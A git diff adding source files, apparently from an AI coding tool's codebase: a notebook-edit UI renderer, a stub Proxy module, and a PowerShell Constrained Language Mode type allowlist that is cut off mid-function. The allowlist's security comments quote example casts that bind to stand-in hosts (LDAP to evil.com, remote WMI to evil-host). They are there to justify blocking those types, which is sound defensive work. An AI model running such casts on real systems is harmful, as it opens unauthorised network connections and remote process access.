+import { Box, Text } from '../../ink.js';
+import type { Tools } from '../../Tool.js';
+import { getDisplayPath } from '../../utils/file.js';
+import type { inputSchema, Output } from './NotebookEditTool.js';
+export function getToolUseSummary(input: Partial<z.infer<ReturnType<typeof inputSchema>>> | undefined): string | null {
+  if (!input?.notebook_path) {
+    return null;
+  }
+  return getDisplayPath(input.notebook_path);
+}
+export function renderToolUseMessage({
+  notebook_path,
+  cell_id,
+  new_source,
+  cell_type,
+  edit_mode
+}: Partial<z.infer<ReturnType<typeof inputSchema>>>, {
+  verbose
+}: {
+  verbose: boolean;
+}): React.ReactNode {
+  if (!notebook_path || !new_source || !cell_type) {
+    return null;
+  }
+  const displayPath = verbose ? notebook_path : getDisplayPath(notebook_path);
+  if (verbose) {
+    return <>
+        <FilePathLink filePath={notebook_path}>{displayPath}</FilePathLink>
+        {`@${cell_id}, content: ${new_source.slice(0, 30)}…, cell_type: ${cell_type}, edit_mode: ${edit_mode ?? 'replace'}`}
+      </>;
+  }
+  return <>
+      <FilePathLink filePath={notebook_path}>{displayPath}</FilePathLink>
+      {`@${cell_id}`}
+    </>;
+}
+export function renderToolUseRejectedMessage(input: z.infer<ReturnType<typeof inputSchema>>, {
+  verbose
+}: {
+  columns?: number;
+  messages?: Message[];
+  progressMessagesForMessage?: ProgressMessage[];
+  theme?: ThemeName;
+  tools?: Tools;
+  verbose: boolean;
+}): React.ReactNode {
+  return <NotebookEditToolUseRejectedMessage notebook_path={input.notebook_path} cell_id={input.cell_id} new_source={input.new_source} cell_type={input.cell_type} edit_mode={input.edit_mode} verbose={verbose} />;
+}
+export function renderToolUseErrorMessage(result: ToolResultBlockParam['content'], {
+  verbose
+}: {
+  verbose: boolean;
+}): React.ReactNode {
+  if (!verbose && typeof result === 'string' && extractTag(result, 'tool_use_error')) {
+    return <MessageResponse>
+        <Text color="error">Error editing notebook</Text>
+      </MessageResponse>;
+  }
+  return <FallbackToolUseErrorMessage result={result} verbose={verbose} />;
+}
+export function renderToolResultMessage({
+  cell_id,
+  new_source,
+  error
+}: Output): React.ReactNode {
+  if (error) {
+    return <MessageResponse>
+        <Text color="error">{error}</Text>
+      </MessageResponse>;
+  }
+  return <MessageResponse>
+      <Box flexDirection="column">
+        <Text>
+          Updated cell <Text bold>{cell_id}</Text>:
+        </Text>
+        <Box marginLeft={2}>
+          <HighlightedCode code={new_source} filePath="notebook.py" />
+        </Box>
+      </Box>
+    </MessageResponse>;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJUb29sUmVzdWx0QmxvY2tQYXJhbSIsIlJlYWN0IiwiTWVzc2FnZSIsIlByb2dyZXNzTWVzc2FnZSIsImV4dHJhY3RUYWciLCJUaGVtZU5hbWUiLCJ6IiwiRmFsbGJhY2tUb29sVXNlRXJyb3JNZXNzYWdlIiwiRmlsZVBhdGhMaW5rIiwiSGlnaGxpZ2h0ZWRDb2RlIiwiTWVzc2FnZVJlc3BvbnNlIiwiTm90ZWJvb2tFZGl0VG9vbFVzZVJlamVjdGVkTWVzc2FnZSIsIkJveCIsIlRleHQiLCJUb29scyIsImdldERpc3BsYXlQYXRoIiwiaW5wdXRTY2hlbWEiLCJPdXRwdXQiLCJnZXRUb29sVXNlU3VtbWFyeSIsImlucHV0IiwiUGFydGlhbCIsImluZmVyIiwiUmV0dXJuVHlwZSIsIm5vdGVib29rX3BhdGgiLCJyZW5kZXJUb29sVXNlTWVzc2FnZSIsImNlbGxfaWQiLCJuZXdfc291cmNlIiwiY2VsbF90eXBlIiwiZWRpdF9tb2RlIiwidmVyYm9zZSIsIlJlYWN0Tm9kZSIsImRpc3BsYXlQYXRoIiwic2xpY2UiLCJyZW5kZXJUb29sVXNlUmVqZWN0ZWRNZXNzYWdlIiwiY29sdW1ucyIsIm1lc3NhZ2VzIiwicHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2UiLCJ0aGVtZSIsInRvb2xzIiwicmVuZGVyVG9vbFVzZUVycm9yTWVzc2FnZSIsInJlc3VsdCIsInJlbmRlclRvb2xSZXN1bHRNZXNzYWdlIiwiZXJyb3IiXSwic291cmNlcyI6WyJVSS50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IHR5cGUgeyBUb29sUmVzdWx0QmxvY2tQYXJhbSB9IGZyb20gJ0BhbnRocm9waWMtYWkvc2RrL3Jlc291cmNlcy9pbmRleC5tanMnXG5pbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB0eXBlIHsgTWVzc2FnZSwgUHJvZ3Jlc3NNZXNzYWdlIH0gZnJvbSAnc3JjL3R5cGVzL21lc3NhZ2UuanMnXG5pbXBvcnQgeyBleHRyYWN0VGFnIH0gZnJvbSAnc3JjL3V0aWxzL21lc3NhZ2VzLmpzJ1xuaW1wb3J0IHR5cGUgeyBUaGVtZU5hbWUgfSBmcm9tICdzcmMvdXRpbHMvdGhlbWUuanMnXG5pbXBvcnQgdHlwZSB7IHogfSBmcm9tICd6b2QvdjQnXG5pbXBvcnQgeyBGYWxsYmFja1Rvb2xVc2VFcnJvck1lc3NhZ2UgfSBmcm9tICcuLi8uLi9jb21wb25lbnRzL0ZhbGxiYWNrVG9vbFVzZUVycm9yTWVzc2FnZS5qcydcbmltcG9ydCB7IEZpbGVQYXRoTGluayB9IGZyb20gJy4uLy4uL2NvbXBvbmVudHMvRmlsZVBhdGhMaW5rLmpzJ1xuaW1wb3J0IHsgSGlnaGxpZ2h0ZWRDb2RlIH0gZnJvbSAnLi4vLi4vY29tcG9uZW50cy9IaWdobGlnaHRlZENvZGUuanMnXG5pbXBvcnQgeyBNZXNzYWdlUmVzcG9uc2UgfSBmcm9tICcuLi8uLi9jb21wb25lbnRzL01lc3NhZ2VSZXNwb25zZS5qcydcbmltcG9ydCB7IE5vdGVib29rRWRpdFRvb2xVc2VSZWplY3RlZE1lc3NhZ2UgfSBmcm9tICcuLi8uLi9jb21wb25lbnRzL05vdGVib29rRWRpdFRvb2xVc2VSZWplY3RlZE1lc3NhZ2UuanMnXG5pbXBvcnQgeyBCb3gsIFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgdHlwZSB7IFRvb2xzIH0gZnJvbSAnLi4vLi4vVG9vbC5qcydcbmltcG9ydCB7IGdldERpc3BsYXlQYXRoIH0gZnJvbSAnLi4vLi4vdXRpbHMvZmlsZS5qcydcbmltcG9ydCB0eXBlIHsgaW5wdXRTY2hlbWEsIE91dHB1dCB9IGZyb20gJy4vTm90ZWJvb2tFZGl0VG9vbC5qcydcblxuZXhwb3J0IGZ1bmN0aW9uIGdldFRvb2xVc2VTdW1tYXJ5KFxuICBpbnB1dDogUGFydGlhbDx6LmluZmVyPFJldHVyblR5cGU8dHlwZW9mIGlucHV0U2NoZW1hPj4+IHwgdW5kZWZpbmVkLFxuKTogc3RyaW5nIHwgbnVsbCB7XG4gIGlmICghaW5wdXQ/Lm5vdGVib29rX3BhdGgpIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG4gIHJldHVybiBnZXREaXNwbGF5UGF0aChpbnB1dC5ub3RlYm9va19wYXRoKVxufVxuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFVzZU1lc3NhZ2UoXG4gIHtcbiAgICBub3RlYm9va19wYXRoLFxuICAgIGNlbGxfaWQsXG4gICAgbmV3X3NvdXJjZSxcbiAgICBjZWxsX3R5cGUsXG4gICAgZWRpdF9tb2RlLFxuICB9OiBQYXJ0aWFsPHouaW5mZXI8UmV0dXJuVHlwZTx0eXBlb2YgaW5wdXRTY2hlbWE+Pj4sXG4gIHsgdmVyYm9zZSB9OiB7IHZlcmJvc2U6IGJvb2xlYW4gfSxcbik6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGlmICghbm90ZWJvb2tfcGF0aCB8fCAhbmV3X3NvdXJjZSB8fCAhY2VsbF90eXBlKSB7XG4gICAgcmV0dXJuIG51bGxcbiAgfVxuICBjb25zdCBkaXNwbGF5UGF0aCA9IHZlcmJvc2UgPyBub3RlYm9va19wYXRoIDogZ2V0RGlzcGxheVBhdGgobm90ZWJvb2tfcGF0aClcbiAgaWYgKHZlcmJvc2UpIHtcbiAgICByZXR1cm4gKFxuICAgICAgPD5cbiAgICAgICAgPEZpbGVQYXRoTGluayBmaWxlUGF0aD17bm90ZWJvb2tfcGF0aH0+e2Rpc3BsYXlQYXRofTwvRmlsZVBhdGhMaW5rPlxuICAgICAgICB7YEAke2NlbGxfaWR9LCBjb250ZW50OiAke25ld19zb3VyY2Uuc2xpY2UoMCwgMzApfeKApiwgY2VsbF90eXBlOiAke2NlbGxfdHlwZX0sIGVkaXRfbW9kZTogJHtlZGl0X21vZGUgPz8gJ3JlcGxhY2UnfWB9XG4gICAgICA8Lz5cbiAgICApXG4gIH1cbiAgcmV0dXJuIChcbiAgICA8PlxuICAgICAgPEZpbGVQYXRoTGluayBmaWxlUGF0aD17bm90ZWJvb2tfcGF0aH0+e2Rpc3BsYXlQYXRofTwvRmlsZVBhdGhMaW5rPlxuICAgICAge2BAJHtjZWxsX2lkfWB9XG4gICAgPC8+XG4gIClcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHJlbmRlclRvb2xVc2VSZWplY3RlZE1lc3NhZ2UoXG4gIGlucHV0OiB6LmluZmVyPFJldHVyblR5cGU8dHlwZW9mIGlucHV0U2NoZW1hPj4sXG4gIHtcbiAgICB2ZXJib3NlLFxuICB9OiB7XG4gICAgY29sdW1ucz86IG51bWJlclxuICAgIG1lc3NhZ2VzPzogTWVzc2FnZVtdXG4gICAgcHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2U/OiBQcm9ncmVzc01lc3NhZ2VbXVxuICAgIHRoZW1lPzogVGhlbWVOYW1lXG4gICAgdG9vbHM/OiBUb29sc1xuICAgIHZlcmJvc2U6IGJvb2xlYW5cbiAgfSxcbik6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIHJldHVybiAoXG4gICAgPE5vdGVib29rRWRpdFRvb2xVc2VSZWplY3RlZE1lc3NhZ2VcbiAgICAgIG5vdGVib29rX3BhdGg9e2lucHV0Lm5vdGVib29rX3BhdGh9XG4gICAgICBjZWxsX2lkPXtpbnB1dC5jZWxsX2lkfVxuICAgICAgbmV3X3NvdXJjZT17aW5wdXQubmV3X3NvdXJjZX1cbiAgICAgIGNlbGxfdHlwZT17aW5wdXQuY2VsbF90eXBlfVxuICAgICAgZWRpdF9tb2RlPXtpbnB1dC5lZGl0X21vZGV9XG4gICAgICB2ZXJib3NlPXt2ZXJib3NlfVxuICAgIC8+XG4gIClcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHJlbmRlclRvb2xVc2VFcnJvck1lc3NhZ2UoXG4gIHJlc3VsdDogVG9vbFJlc3VsdEJsb2NrUGFyYW1bJ2NvbnRlbnQnXSxcbiAgeyB2ZXJib3NlIH06IHsgdmVyYm9zZTogYm9vbGVhbiB9LFxuKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgaWYgKFxuICAgICF2ZXJib3NlICYmXG4gICAgdHlwZW9mIHJlc3VsdCA9PT0gJ3N0cmluZycgJiZcbiAgICBleHRyYWN0VGFnKHJlc3VsdCwgJ3Rvb2xfdXNlX2Vycm9yJylcbiAgKSB7XG4gICAgcmV0dXJuIChcbiAgICAgIDxNZXNzYWdlUmVzcG9uc2U+XG4gICAgICAgIDxUZXh0IGNvbG9yPVwiZXJyb3JcIj5FcnJvciBlZGl0aW5nIG5vdGVib29rPC9UZXh0PlxuICAgICAgPC9NZXNzYWdlUmVzcG9uc2U+XG4gICAgKVxuICB9XG4gIHJldHVybiA8RmFsbGJhY2tUb29sVXNlRXJyb3JNZXNzYWdlIHJlc3VsdD17cmVzdWx0fSB2ZXJib3NlPXt2ZXJib3NlfSAvPlxufVxuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFJlc3VsdE1lc3NhZ2Uoe1xuICBjZWxsX2lkLFxuICBuZXdfc291cmNlLFxuICBlcnJvcixcbn06IE91dHB1dCk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGlmIChlcnJvcikge1xuICAgIHJldHVybiAoXG4gICAgICA8TWVzc2FnZVJlc3BvbnNlPlxuICAgICAgICA8VGV4dCBjb2xvcj1cImVycm9yXCI+e2Vycm9yfTwvVGV4dD5cbiAgICAgIDwvTWVzc2FnZVJlc3BvbnNlPlxuICAgIClcbiAgfVxuXG4gIHJldHVybiAoXG4gICAgPE1lc3NhZ2VSZXNwb25zZT5cbiAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgICA8VGV4dD5cbiAgICAgICAgICBVcGRhdGVkIGNlbGwgPFRleHQgYm9sZD57Y2VsbF9pZH08L1RleHQ+OlxuICAgICAgICA8L1RleHQ+XG4gICAgICAgIDxCb3ggbWFyZ2luTGVmdD17Mn0+XG4gICAgICAgICAgPEhpZ2hsaWdodGVkQ29kZSBjb2RlPXtuZXdfc291cmNlfSBmaWxlUGF0aD1cIm5vdGVib29rLnB5XCIgLz5cbiAgICAgICAgPC9Cb3g+XG4gICAgICA8L0JveD5cbiAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiQUFBQSxjQUFjQSxvQkFBb0IsUUFBUSx1Q0FBdUM7QUFDakYsT0FBTyxLQUFLQyxLQUFLLE1BQU0sT0FBTztBQUM5QixjQUFjQyxPQUFPLEVBQUVDLGVBQWUsUUFBUSxzQkFBc0I7QUFDcEUsU0FBU0MsVUFBVSxRQUFRLHVCQUF1QjtBQUNsRCxjQUFjQyxTQUFTLFFBQVEsb0JBQW9CO0FBQ25ELGNBQWND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
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/tools/OverflowTestTool/OverflowTestTool.ts b/_all-in-one-upload/cc-haha/src/tools/OverflowTestTool/OverflowTestTool.ts
new file mode 100644
index 0000000..c170c49
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/tools/OverflowTestTool/OverflowTestTool.ts
@@ -0,0 +1,34 @@
+// @generated stub from scan-missing-imports
+// 该文件自动生成，对应 ant-internal 的 feature() gated 模块。
+// 所有外部 build 的代码路径在 DCE 后都不会真的执行这里的代码，这只是
+// bun build resolver 的占位符。
+const __target = function noop() {}
+const __handler: ProxyHandler<any> = {
+  get(_t, prop) {
+    if (prop === '__esModule') return true
+    if (prop === 'default') return new Proxy(__target, __handler)
+    if (prop === Symbol.toPrimitive) return () => undefined
+    if (prop === Symbol.iterator) return function* () {}
+    if (prop === Symbol.asyncIterator) return async function* () {}
+    if (prop === 'then') return undefined
+    return new Proxy(__target, __handler)
+  },
+  apply() {
+    return new Proxy(__target, __handler)
+  },
+  construct() {
+    return new Proxy(__target, __handler)
+  },
+}
+const stub: any = new Proxy(__target, __handler)
+export default stub
+export const __stubMissing = true
+// 兼容常见的命名导出 —— 没列在这里的也会通过 default Proxy 兜底
+export const createCachedMCState = stub
+export const isCachedMicrocompactEnabled = stub
+export const isModelSupportedForCacheEditing = stub
+export const getCachedMCConfig = stub
+export const markToolsSentToAPI = stub
+export const resetCachedMCState = stub
+export const checkProtectedNamespace = stub
+export const getCoordinatorUserContext = stub
diff --git a/_all-in-one-upload/cc-haha/src/tools/PowerShellTool/clmTypes.ts b/_all-in-one-upload/cc-haha/src/tools/PowerShellTool/clmTypes.ts
new file mode 100644
index 0000000..a615563
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/tools/PowerShellTool/clmTypes.ts
@@ -0,0 +1,211 @@
+/**
+ * PowerShell Constrained Language Mode allowed types.
+ *
+ * Microsoft's CLM restricts .NET type usage to this allowlist when PS runs
+ * under AppLocker/WDAC system lockdown. Any type NOT in this set is considered
+ * unsafe for untrusted code execution.
+ *
+ * We invert this: type literals not in this set → ask. One canonical check
+ * replaces enumerating individual dangerous types (named pipes, reflection,
+ * process spawning, P/Invoke marshaling, etc.). Microsoft maintains the list.
+ *
+ * Source: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_language_modes
+ *
+ * Normalization: entries stored lowercase, short AND full names where both
+ * exist (PS resolves type accelerators like [int] → System.Int32 at runtime;
+ * we match against what the AST emits, which is the literal text).
+ */
+export const CLM_ALLOWED_TYPES: ReadonlySet<string> = new Set(
+  [
+    // Type accelerators (short names as they appear in AST TypeName.Name)
+    // SECURITY: 'adsi' and 'adsisearcher' REMOVED. Both are Active Directory
+    // Service Interface types that perform NETWORK BINDS when cast:
+    //   [adsi]'LDAP://evil.com/...' → connects to LDAP server
+    //   [adsisearcher]'(objectClass=user)' → binds to AD and queries
+    // Microsoft's CLM allows these because it's for Windows admins in trusted
+    // domains; we block them since the target isn't validated.
+    'alias',
+    'allowemptycollection',
+    'allowemptystring',
+    'allownull',
+    'argumentcompleter',
+    'argumentcompletions',
+    'array',
+    'bigint',
+    'bool',
+    'byte',
+    'char',
+    'cimclass',
+    'cimconverter',
+    'ciminstance',
+    // 'cimsession' REMOVED — see wmi/adsi comment below
+    'cimtype',
+    'cmdletbinding',
+    'cultureinfo',
+    'datetime',
+    'decimal',
+    'double',
+    'dsclocalconfigurationmanager',
+    'dscproperty',
+    'dscresource',
+    'experimentaction',
+    'experimental',
+    'experimentalfeature',
+    'float',
+    'guid',
+    'hashtable',
+    'int',
+    'int16',
+    'int32',
+    'int64',
+    'ipaddress',
+    'ipendpoint',
+    'long',
+    'mailaddress',
+    'norunspaceaffinity',
+    'nullstring',
+    'objectsecurity',
+    'ordered',
+    'outputtype',
+    'parameter',
+    'physicaladdress',
+    'pscredential',
+    'pscustomobject',
+    'psdefaultvalue',
+    'pslistmodifier',
+    'psobject',
+    'psprimitivedictionary',
+    'pstypenameattribute',
+    'ref',
+    'regex',
+    'sbyte',
+    'securestring',
+    'semver',
+    'short',
+    'single',
+    'string',
+    'supportswildcards',
+    'switch',
+    'timespan',
+    'uint',
+    'uint16',
+    'uint32',
+    'uint64',
+    'ulong',
+    'uri',
+    'ushort',
+    'validatecount',
+    'validatedrive',
+    'validatelength',
+    'validatenotnull',
+    'validatenotnullorempty',
+    'validatenotnullorwhitespace',
+    'validatepattern',
+    'validaterange',
+    'validatescript',
+    'validateset',
+    'validatetrusteddata',
+    'validateuserdrive',
+    'version',
+    'void',
+    'wildcardpattern',
+    // SECURITY: 'wmi', 'wmiclass', 'wmisearcher', 'cimsession' REMOVED.
+    // WMI type casts perform WMI queries which can target remote computers
+    // (network request) and access dangerous classes like Win32_Process.
+    // cimsession creates a CIM session (network connection to remote host).
+    //   [wmi]'\\evil-host\root\cimv2:Win32_Process.Handle="1"' → remote WMI
+    //   [wmisearcher]'SELECT * FROM Win32_Process' → runs WQL query
+    // Same rationale as adsi/adsisearcher removal above.
+    'x500distinguishedname',
+    'x509certificate',
+    'xml',
+    // Full names for accelerators that resolve to System.* (AST may emit either)
+    'system.array',
+    'system.boolean',
+    'system.byte',
+    'system.char',
+    'system.datetime',
+    'system.decimal',
+    'system.double',
+    'system.guid',
+    'system.int16',
+    'system.int32',
+    'system.int64',
+    'system.numerics.biginteger',
+    'system.sbyte',
+    'system.single',
+    'system.string',
+    'system.timespan',
+    'system.uint16',
+    'system.uint32',
+    'system.uint64',
+    'system.uri',
+    'system.version',
+    'system.void',
+    'system.collections.hashtable',
+    'system.text.regularexpressions.regex',
+    'system.globalization.cultureinfo',
+    'system.net.ipaddress',
+    'system.net.ipendpoint',
+    'system.net.mail.mailaddress',
+    'system.net.networkinformation.physicaladdress',
+    'system.security.securestring',
+    'system.security.cryptography.x509certificates.x509certificate',
+    'system.security.cryptography.x509certificates.x500distinguishedname',
+    'system.xml.xmldocument',
+    // System.Management.Automation.* — FQ equivalents of PS-specific accelerators
+    'system.management.automation.pscredential',
+    'system.management.automation.pscustomobject',
+    'system.management.automation.pslistmodifier',
+    'system.management.automation.psobject',
+    'system.management.automation.psprimitivedictionary',
+    'system.management.automation.psreference',
+    'system.management.automation.semanticversion',
+    'system.management.automation.switchparameter',
+    'system.management.automation.wildcardpattern',
+    'system.management.automation.language.nullstring',
+    // Microsoft.Management.Infrastructure.* — FQ equivalents of CIM accelerators
+    // SECURITY: cimsession FQ REMOVED — same network-bind hazard as short name
+    // (creates a CIM session to a remote host).
+    'microsoft.management.infrastructure.cimclass',
+    'microsoft.management.infrastructure.cimconverter',
+    'microsoft.management.infrastructure.ciminstance',
+    'microsoft.management.infrastructure.cimtype',
+    // FQ equivalents of remaining short-name accelerators
+    // SECURITY: DirectoryEntry/DirectorySearcher/ManagementObject/
+    // ManagementClass/ManagementObjectSearcher FQ REMOVED — same network-bind
+    // hazard as short names adsi/adsisearcher/wmi/wmiclass/wmisearcher
+    // (LDAP bind, remote WMI). See short-name removal comments above.
+    'system.collections.specialized.ordereddictionary',
+    'system.security.accesscontrol.objectsecurity',
+    // Arrays of allowed types are allowed (e.g. [string[]])
+    // normalizeTypeName strips [] before lookup, so store the base name
+    'object',
+    'system.object',
+    // ModuleSpecification — full qualified name
+    'microsoft.powershell.commands.modulespecification',
+  ].map(t => t.toLowerCase()),
+)
+
+/**
+ * Normalize a type name from AST TypeName.FullName or TypeName.Name.
+ * Handles array suffix ([]) and generic brackets.
+ */
+export function normalizeTypeName(name: string): string {
+  // Strip array suffix: "String[]" → "string" (arrays of allowed types are allowed)
+  // Strip generic args: "List[int]" → "list" (conservative — the generic wrapper
+  // might be unsafe even if the type arg is safe, so we check the outer type)
+  return name
+    .toLowerCase()
